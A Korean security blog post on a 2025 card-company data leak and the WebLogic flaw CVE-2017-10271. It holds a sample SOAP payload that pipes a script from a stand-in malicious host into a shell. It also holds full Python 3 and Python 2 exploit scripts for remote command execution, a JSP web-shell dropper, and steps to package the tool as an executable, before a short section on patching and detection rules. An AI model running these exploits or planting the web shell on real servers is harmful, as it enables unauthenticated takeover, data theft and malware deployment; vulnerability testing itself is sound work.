2025년 8월 롯데카드 내부 결제 시스템 자료 유출 사건
2025년 8월 말, 롯데카드의 내부 결제 시스템에서 약 1.7GB 크기의 자료가 외부로 유출되는 사고가 발생했습니다. 다행히 이번 사고는 랜섬웨어 공격으로 이어지지 않아, 서비스 이용에는 큰 지장은 없었습니다.
해킹 경로와 취약점 개요
이번 해킹의 원인은 낮은 버전을 사용 중인 Oracle WebLogic Server에서 발생한 원격코드실행(RCE) 취약점입니다. 공격자는 이 취약점을 통해 웹쉘(Web Shell)을 업로드할 수 있었습니다.
이번 취약점은 2017년에 CVE-2017-10271로 등록되었으며, 전 세계적으로 다수의 기업 환경에서 공격에 악용된 사례가 존재합니다.
WebLogic Server란?
WebLogic은 Java EE 기반의 강력한 애플리케이션 서버 플랫폼으로, Application Server, Portal, Application Integration Service, HTTP 웹 서버 등을 포함합니다. 관리자는 WebLogic Scripting Tool(WLST)을 통해 원격으로 서버를 관리할 수 있습니다.
WebLogic은 기본적으로 T3 프로토콜을 사용하며, 7001 포트를 통해 요청을 전달받습니다. 문제는 이 과정에서 사용자가 직렬화된 객체(Serialized Object)를 서버로 전송할 수 있다는 점입니다. 취약점이 존재하면 서버가 입력값을 충분히 검증하지 않아, 공격자가 임의의 명령을 실행할 수 있습니다. 결과적으로 원격에서 서버 전체를 장악할 수 있는 심각한 보안 위협이 됩니다.
영향 받는 WebLogic 버전
- 10.3.3.0
- 10.3.6.0
- 12.2.1.1
- 12.2.1.2
- 12.1.3.0
취약점 기술적 분석
이 취약점은 SOAP 프로토콜을 이용한 XML 페이로드 처리 과정에서 발생합니다. SOAP(Simple Object Access Protocol)은 HTTP나 HTTPS 위에서 XML 기반 메시지를 교환하는 프로토콜로, 웹 서비스 간 데이터 전달에 자주 사용됩니다.
공격자는 SOAP Request의 특정 태그에 악성 데이터를 삽입할 수 있으며, WebLogic 서버가 이를 검증하지 않고 실행하게 됩니다. 특히, WebLogic이 지원하는 WS-Coordination 및 WS-AtomicTransaction 기능 과정에서 work:WorkContext 태그 안의 데이터가 xmlDecoder.readObject()를 통해 검증 없이 역직렬화(deserialization)됩니다. 즉, 공격자가 삽입한 객체가 그대로 실행되며, Java의 ProcessBuilder를 호출해 임의의 시스템 명령어를 실행할 수 있습니다.
실제 공격 패킷 예시
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>wget -q http://malicious.site/pkgs.sh -O- | sh</string></void>
</array>
<void method="start"/>
</java>
</work:WorkContext>
</soapenv:Header>
</soapenv:Envelope>
위의 XML 요청은 /bin/bash -c
명령을 통해 외부 서버에서 악성 스크립트를 다운로드하고 실행하는 동작을 수행합니다.
실제로 이러한 공격은 주로 암호화폐 채굴기(코인 마이너) 설치, 원격 제어 백도어 심기, 랜섬웨어 배포 등에 악용되었습니다.
공격 실습 (PoC)
쇼단에서 확인해보면 현재도 기본 포트를 사용하고 있는 곳이 많습니다.
취약점 점검 테스트는 필히 가상환경에서만 해야 합니다.
점검 환경: 윈도우11 도커 데스크탑 : vulhub/weblogic:10.3.6.0-2017
docker run -d -p 7001:7001 vulhub/weblogic:10.3.6.0-2017
// console default password weblogic/ Oracle@123
아래 코드는 CVE-2017-10271 취약점이 존재하는 서버를 대상으로 명령어를 실행하는 PoC입니다.
점검 테스트 목적 이외에는 절대 사용해서는 안 됩니다.
# Python 3 코드
# python -m pip install requests
# HTTP 요청 전송을 위한 requests 라이브러리 임포트
import requests
# URL 파싱을 위한 라이브러리
from urllib.parse import urlparse
import time
import datetime
def validate_url(url):
"""URL 유효성 검사"""
try:
result = urlparse(url)
return all([result.scheme, result.netloc])
except:
return False
def check_weblogic_service(base_url):
"""WebLogic 서비스 존재 여부 확인"""
endpoints = [
"/wls-wsat/CoordinatorPortType",
"/wls-wsat/RegistrationPortTypeRPC",
"/wls-wsat/ParticipantPortType",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/CoordinatorPortType11",
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/ParticipantPortType11",
"/wls-wsat/RegistrationRequesterPortType11"
]
results = []
for endpoint in endpoints:
try:
wsat_url = base_url + endpoint
response = requests.get(wsat_url, timeout=10, verify=False)
print(f"[INFO] {endpoint} 엔드포인트 상태: {response.status_code}")
results.append((endpoint, response.status_code))
except requests.exceptions.ConnectTimeout:
print(f"[ERROR] {endpoint} 연결 시간 초과")
results.append((endpoint, "ConnectTimeout"))
except requests.exceptions.ConnectionError:
print(f"[ERROR] {endpoint} 서버에 연결할 수 없습니다")
results.append((endpoint, "ConnectionError"))
except Exception as e:
print(f"[ERROR] {endpoint} 예상치 못한 오류: {str(e)}")
results.append((endpoint, f"Error: {str(e)}"))
return results
def payload_command(command_in):
"""사용자가 입력한 명령(command_in)을 포함하는 SOAP 페이로드를 생성하는 함수"""
html_escape_table = {
"&": "&",
'"': """,
"'": "'",
">": ">",
"<": "<",
}
command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" + \
" <soapenv:Header> " + \
" <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" + \
" <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" + \
" <void class=\"java.lang.ProcessBuilder\"> \n" + \
" <array class=\"java.lang.String\" length=\"3\">" + \
" <void index = \"0\"> " + \
" <string>/bin/bash</string> " + \
" </void> " + \
" <void index = \"1\"> " + \
" <string>-c</string> " + \
" </void> " + \
" <void index = \"2\"> " + \
command_filtered + \
" </void> " + \
" </array>" + \
" <void method=\"start\"/>" + \
" </void>" + \
" </java>" + \
" </work:WorkContext>" + \
" </soapenv:Header>" + \
" <soapenv:Body/>" + \
"</soapenv:Envelope>"
return payload_1
def analyze_vulnerability(status_code, response_text):
"""취약점 분석 함수"""
vulnerability_indicators = [
"java.lang.ArrayIndexOutOfBoundsException",
"java.beans.XMLDecoder",
"java.lang.ProcessBuilder",
"XMLDecoder",
"ProcessBuilder",
"com.sun.xml.ws.fault.SOAPFaultBuilder"
]
if status_code == 500:
for indicator in vulnerability_indicators:
if indicator in response_text:
return "VULNERABLE", f"XML 역직렬화 처리 중 오류 발생 ({indicator} 감지)"
return "POSSIBLE", "서버 내부 오류 발생 - 추가 확인 필요"
elif status_code == 404:
return "SAFE", "WSAT 엔드포인트를 찾을 수 없음"
elif status_code == 200:
return "SAFE", "정상 응답 - 취약점 없음"
elif status_code == 405:
return "SAFE", "메소드 허용되지 않음"
else:
return "UNKNOWN", f"예상치 못한 응답 코드: {status_code}"
def get_webshell_command():
"""웹셸 생성 명령어"""
return """printf '%s\\n' '<%@ page import="java.util.*,java.io.*"%>' '<%' '%>' '<HTML><BODY>' 'Commands with JSP' '<FORM METHOD="GET" NAME="myform" ACTION="">' '<INPUT TYPE="text" NAME="cmd">' '<INPUT TYPE="submit" VALUE="Send">' '</FORM>' '<pre>' '<%' 'if (request.getParameter("cmd") != null) {' 'out.println("Command: " + request.getParameter("cmd") + "<BR>");' 'Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));' 'OutputStream os = p.getOutputStream();' 'InputStream in = p.getInputStream();' 'DataInputStream dis = new DataInputStream(in);' 'String disr = dis.readLine();' 'while ( disr != null ) {' 'out.println(disr);' 'disr = dis.readLine();' '}' '}' '%>' '</pre>' '</BODY></HTML>' > /root/Oracle/Middleware/user_projects/domains/base_domain/autodeploy/shell/redchupa.jsp"""
def do_post(command_in, payload_url, payload_header):
"""실제로 HTTP POST를 보내는 함수"""
try:
print(f"[INFO] 명령 전송: {command_in}")
result = requests.post(
payload_url,
payload_command(command_in),
headers=payload_header,
timeout=30,
verify=False
)
print(f"[INFO] 응답 코드: {result.status_code}")
vuln_status, description = analyze_vulnerability(result.status_code, result.text)
if vuln_status == "VULNERABLE":
print(f"[VULNERABLE] {description}")
print("┌─ CVE-2017-10271 취약점 존재 확인됨!")
print("├─ XML 역직렬화를 통한 원격 명령 실행 가능")
print("└─ 즉시 패치 적용 권장")
return "VULNERABLE", description
elif vuln_status == "POSSIBLE":
print(f"[POSSIBLE] {description}")
print("┌─ 취약점 존재 가능성 있음")
print("├─ 추가 테스트 명령으로 확인 필요")
print("└─ 서버 로그 및 파일 시스템 확인 권장")
return "POSSIBLE", description
elif vuln_status == "SAFE":
print(f"[SAFE] {description}")
return "SAFE", description
else:
print(f"[UNKNOWN] {description}")
return "UNKNOWN", description
except requests.exceptions.Timeout:
print("[ERROR] 요청 시간 초과")
return "ERROR", "요청 시간 초과"
except requests.exceptions.ConnectionError as e:
print(f"[ERROR] 연결 오류: {str(e)}")
return "ERROR", f"연결 오류: {str(e)}"
except Exception as e:
print(f"[ERROR] 요청 중 오류 발생: {str(e)}")
return "ERROR", f"요청 중 오류 발생: {str(e)}"
def save_results_to_file(url, results, vuln_status, description, command_result):
"""결과를 txt 파일로 저장"""
parsed_url = urlparse(url)
ip_port = parsed_url.netloc.replace(":", "-")
timestamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
filename = f"CVE-2017-10271-{ip_port}-{timestamp}-{vuln_status}.txt"
with open(filename, 'w', encoding='utf-8') as f:
f.write("CVE-2017-10271 WebLogic 취약점 점검 결과\n")
f.write("=" * 55 + "\n\n")
f.write(f"대상 URL: {url}\n")
f.write(f"테스트 시간: {timestamp}\n\n")
f.write("엔드포인트 테스트 결과:\n")
for endpoint, status in results:
f.write(f" {endpoint}: {status}\n")
f.write("\n취약점 테스트 결과:\n")
f.write(f" 상태: {vuln_status}\n")
f.write(f" 설명: {description}\n")
if command_result:
f.write(f" 실행 명령: {command_result[0]}\n")
f.write(f" 명령 결과: {command_result[1]}\n")
f.write("\n" + "=" * 55)
print(f"[INFO] 결과가 {filename} 파일에 저장되었습니다.")
def main():
"""메인 함수"""
print("=" * 55)
print(" CVE-2017-10271 WebLogic 취약점 점검 도구")
print(" Blind Remote Command Execution Vulnerability Test")
print("=" * 55)
print()
# URL 입력 받기
while True:
url_in = input("대상 URL을 입력하세요 (예: http://192.168.1.113:7001): ").strip()
if validate_url(url_in):
break
print("[ERROR] 유효하지 않은 URL입니다. 다시 입력해주세요.")
# 취약한 엔드포인트로 알려진 기본 경로
payload_url = url_in + "/wls-wsat/CoordinatorPortType"
# SOAP/XML 전송을 위해 Content-Type 헤더를 text/xml로 지정
payload_header = {
'content-type': 'text/xml',
'User-Agent': 'Mozilla/5.0 (compatible; WebLogic-Test)',
'SOAPAction': ''
}
print(f"[INFO] 대상 URL: {url_in}")
print(f"[INFO] 테스트 엔드포인트: {payload_url}")
print()
print("[STEP 1] 대상 서버 연결 테스트...")
endpoint_results = check_weblogic_service(url_in)
if not any(status == 200 or status == 500 for _, status in endpoint_results):
print("[WARNING] 대상 서버 연결 문제 또는 WebLogic 서비스 비활성화")
choice = input("테스트를 계속 진행하시겠습니까? (y/N): ").strip().lower()
if choice != 'y':
print("테스트를 중단합니다.")
save_results_to_file(url_in, endpoint_results, "ERROR", "서버 연결 실패", None)
return
print()
print("[STEP 2] 취약점 테스트 시작")
print("-" * 50)
vuln_status = "SAFE"
description = "취약점 테스트 미수행"
command_result = None
print("\n JSP 웹셸 생성 테스트")
print(" 파일 위치: /root/Oracle/Middleware/user_projects/domains/base_domain/autodeploy/shell/redchupa.jsp")
webshell_choice = input("JSP 웹셸을 생성하시겠습니까? (y/N): ").strip().lower()
if webshell_choice == 'y':
print("[INFO] JSP 웹셸 생성 명령 실행 중...")
webshell_command = get_webshell_command()
vuln_status, description = do_post(webshell_command, payload_url, payload_header)
command_result = (webshell_command, description)
print("─" * 60)
else:
print("[INFO] 웹셸 생성을 건너뜁니다.")
print("\n 추가 명령 테스트")
command_in = input("실행할 명령을 입력하세요 (건너뛰기: Enter): ").strip()
if command_in:
vuln_status, description = do_post(command_in, payload_url, payload_header)
command_result = (command_in, description)
print("─" * 60)
save_results_to_file(url_in, endpoint_results, vuln_status, description, command_result)
print("\n" + "=" * 55)
print(" 테스트 결과 요약")
print("=" * 55)
if vuln_status == "VULNERABLE":
print(" 취약점 확인: CVE-2017-10271 취약점이 존재합니다!")
print(" 권장 조치:")
print(" - 즉시 WebLogic 보안 패치 적용")
print(" - WSAT 서비스 비활성화 검토")
print(" - 보안 로그 모니터링 강화")
elif vuln_status == "POSSIBLE":
print(" 취약점 가능성: 의심스러운 응답, 추가 확인이 필요합니다")
else:
print(" 취약점 미발견: 테스트한 명령에서 취약점 징후 없음")
if webshell_choice == 'y':
print("\n 웹셸 접근 확인:")
webshell_url = url_in + "/shell/redchupa.jsp"
print(f" 웹셸 URL: {webshell_url}")
print(" 웹셸이 성공적으로 생성되었다면 위 URL로 접근 가능합니다.")
print("\n 중요 안내:")
print(" 이 도구는 'Blind RCE' 특성상 명령 실행 결과를 직접 표시하지 않습니다.")
print(" 실제 명령 실행 여부는 다음 방법으로 서버에서 직접 확인하세요:")
print(" • 웹셸 파일 확인: ls /root/Oracle/Middleware/user_projects/domains/base_domain/autodeploy/shell/")
print(" • 웹셸 URL 접근 테스트")
print(" • 시스템 로그 확인: /var/log/ 디렉토리의 관련 로그")
print(" • 프로세스 모니터링")
print("\n 서버 관리자는 반드시 서버 측에서 실제 실행 흔적을 확인해주세요!")
print("=" * 55)
if __name__ == "__main__":
main()
이후 웹쉘 파일 업로드
printf '%s\n' '<%@ page import="java.util.*,java.io.*"%>' '<%' '%>' '<HTML><BODY>' 'Commands with JSP' '<FORM METHOD="GET" NAME="myform" ACTION="">' '<INPUT TYPE="text" NAME="cmd">' '<INPUT TYPE="submit" VALUE="Send">' '</FORM>' '<pre>' '<%' 'if (request.getParameter("cmd") != null) {' 'out.println("Command: " + request.getParameter("cmd") + "<BR>");' 'Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));' 'OutputStream os = p.getOutputStream();' 'InputStream in = p.getInputStream();' 'DataInputStream dis = new DataInputStream(in);' 'String disr = dis.readLine();' 'while ( disr != null ) {' 'out.println(disr);' 'disr = dis.readLine();' '}' '}' '%>' '</pre>' '</BODY></HTML>' > /root/Oracle/Middleware/user_projects/domains/base_domain/autodeploy/shell/redchupa.jsp
웹쉘 파일 업로드 확인
웹쉘 파일 실행 확인
py to ext (실행파일로 변환하는 방법)
pip install pyinstaller
pyinstaller --onefile --hidden-import=requests CVE-2017-10271.py
취약점 점검 스크립트 다운 및 점검하는 방법
위의 exe 파일을 다운받아
취약한 웹로직 서버에 접근이 가능한 점검자 PC(윈도우 환경)에서 위의 파일을 실행하여
웹쉘이 업로드가 되는지 테스트 하시면 됩니다.
취약한 웹로직 서버에 웹쉘이 업로드가 되지 않으면
로그를 보며 오라클 설치 경로에 맞춰서 코드를 수정하셔야 하며
autodeploy 활성화가 되어 있어야 하고 경로가 맞아야 웹쉘이 업로드가 됩니다.
실제 POC 코드가 실행되므로, 가동 외 시간에 점검 하시길 바랍니다.
Python2용 코드 참고
# HTTP 요청 전송을 위한 requests 라이브러리 임포트
import requests
# 명령줄 인자(argv) 사용을 위한 표준 라이브러리 임포트
import sys
# 실행 시 첫 번째 인자(기본 URL)를 받아옴 (예: http://target:7001)
url_in = sys.argv[1]
# 취약한 엔드포인트로 알려진 경로를 붙여 최종 요청 URL 구성
payload_url = url_in + "/wls-wsat/CoordinatorPortType"
# SOAP/XML 전송을 위해 Content-Type 헤더를 text/xml로 지정
payload_header = {'content-type': 'text/xml'}
# 사용자가 입력한 명령(command_in)을 포함하는 SOAP 페이로드를 생성하는 함수
def payload_command (command_in):
# XML 특수문자 이스케이프 테이블 정의 (XML 깨짐 방지)
html_escape_table = {
"&": "&",
'"': """,
"'": "'",
">": ">",
"<": "<",
}
# 입력 명령의 각 문자에 대해 XML 안전 문자열로 변환하고 <string> 태그로 감쌈
command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
# 아래는 WebLogic WorkContext 헤더 내부에서 java.beans.XMLDecoder로
# java.lang.ProcessBuilder를 역직렬화해 명령을 실행하도록 구성한 SOAP 메시지
payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \
# SOAP 헤더 영역 시작
" <soapenv:Header> " \
# WebLogic의 WorkContext 헤더 네임스페이스 지정
" <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \
# XMLDecoder를 사용해 Java 객체를 생성하도록 지시
" <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \
# ProcessBuilder 객체 생성 시작
" <void class=\"java.lang.ProcessBuilder\"> \n" \
# 명령 인자 배열(String[]) 길이 3: ["cmd", "/c", "<입력 명령>"]
" <array class=\"java.lang.String\" length=\"3\">" \
# 인덱스 0: 실행 파일 이름 (Windows 환경 가정)
" <void index = \"0\"> " \
" <string>cmd</string> " \
" </void> " \
# 인덱스 1: /c 옵션(한 번 실행 후 종료)
" <void index = \"1\"> " \
" <string>/c</string> " \
" </void> " \
# 인덱스 2: 사용자 입력 명령(위에서 XML 이스케이프 처리됨)
" <void index = \"2\"> " \
+ command_filtered + \
" </void> " \
# 배열 닫기
" </array>" \
# ProcessBuilder.start() 호출로 프로세스 실행
" <void method=\"start\"/>" \
# ProcessBuilder 객체 블록 닫기
" </void>" \
# XMLDecoder 블록 닫기
" </java>" \
# WorkContext 블록 닫기
" </work:WorkContext>" \
# SOAP 헤더 닫기
" </soapenv:Header>" \
# 본문은 비워둠
" <soapenv:Body/>" \
# SOAP Envelope 닫기
"</soapenv:Envelope>"
# 완성된 SOAP 페이로드 반환
return payload_1
# 실제로 HTTP POST를 보내는 함수
def do_post(command_in):
# 요청 전송: URL, 본문(페이로드), 헤더 전달
# requests.post(url, data, headers=...) 형태로 호출되며, 여기서는 data에 SOAP 문자열이 들어감
result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
# 서버 응답 코드가 500이면(내부 오류) 이 PoC에서는 실행 신호로 간주하여 성공 메시지 출력
# (일부 취약점 PoC는 ‘Blind’ 특성상 500이 떨어져도 실제 실행이 된 것으로 가정)
if result.status_code == 500:
print "Command Executed \n"
else:
# 그 외 상태코드는 실패로 간주
print "Something Went Wrong \n"
# 배너 출력(파이썬 2 스타일의 print 문법 사용)
print "***************************************************** \n" \
"**************** Coded By 1337g ****************** \n" \
"* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \
"***************************************************** \n"
# 무한 루프를 돌며 사용자의 명령을 계속 입력받아 전송
while 1:
# 사용자에게 명령 문자열 입력 요청 (파이썬 2의 raw_input 사용)
command_in = raw_input("Eneter your command here: ")
# 'exit'를 입력하면 프로그램 종료
if command_in == "exit" : exit(0)
# 입력 명령을 포함한 페이로드를 전송
do_post(command_in)
대응 방안
1. 최신 보안 패치 적용
Oracle에서 제공하는 최신 보안 패치를 반드시 설치해야 합니다. 보안 권고를 확인하세요.
2. IPS/WAF 규칙 적용
/wls-wsat/CoordinatorPortType
경로 등에 대한 접근을 차단합니다.ProcessBuilder
,XMLDecoder
와 같은 문자열을 탐지하는 보안 룰을 적용합니다.
3. 침해 흔적 점검
- 서버 로그에서
wget
,curl
,/bin/bash -c
실행 흔적을 확인합니다. - 비정상적인 CPU 사용량, 의심스러운 프로세스(예: 암호화폐 채굴기)를 점검합니다.
임의의 명령어를 실행할 수 있는 심각한 취약점
CVE-2017-10271은 인증 과정 없이 원격에서 임의의 명령어를 실행할 수 있는 심각한 취약점입니다.
공격자가 이 취약점을 악용하면 서버 전체가 장악될 수 있으며, 실제로 많은 기업 환경에서 악성코드 배포, 크립토마이닝, 랜섬웨어 공격 등에 사용되었습니다. 따라서 보안 패치를 신속하게 적용하고, 네트워크 차단 정책과 침해 흔적 점검을 통해 대응해야 합니다.
'정보보안 월드 > 정보보안 이야기' 카테고리의 다른 글
Multi-Threaded SYN/UDP Flood Simulator for DDoS Defense Testing (0) | 2025.09.03 |
---|---|
OpenSSH CVE-2024-6387 'regreSSHion' 취약점 분석 및 대응 방안 (0) | 2025.08.29 |
윈도우에서 WMI를 활용하는 방법: 시스템 자동화의 핵심 도구 (0) | 2025.07.23 |
OSCP(Offensive Security Certified Professional) 자격증 독학으로 취득하기 (5) | 2025.07.21 |
랜섬웨어와의 싸움, 협상 없는 복구 성공! SGI서울보증 해킹 사건의 교훈 (1) | 2025.07.19 |